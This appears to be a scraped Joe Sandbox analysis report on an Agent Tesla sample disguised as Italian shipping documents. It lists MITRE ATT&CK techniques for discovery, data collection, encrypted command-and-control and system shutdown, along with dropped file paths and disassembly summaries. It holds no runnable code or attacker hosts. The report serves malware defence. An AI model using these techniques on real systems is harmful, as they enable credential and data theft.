Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Documenti di spedizione.bat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\ankomstperrons.ini

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Directdiscourse.Mrk

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Freakouts.mis

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Kavalerens188.equ

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Overhates.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\Protaspis.sol

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\barbecue.ste

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\paradiset.cho

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid\saddleback.jer

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\distortionless.Ska

C:\Users\user\AppData\Local\Temp\nseFD4D.tmp

C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nshF5CB.tmp

C:\Users\user\AppData\Local\Temp\nsnEC44.tmp

C:\Users\user\AppData\Local\Temp\nspE389.tmp

C:\Users\user\AppData\Local\Temp\nstD5BB.tmp

Windows Analysis Report
Documenti di spedizione.bat.exe

Function 004032BF Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357
stringcomfileCOMMON

Function 0040524E Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405F19 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Function 00405799 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403C09 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Function 00403877 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402D4A Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00405110 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 004055D6 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre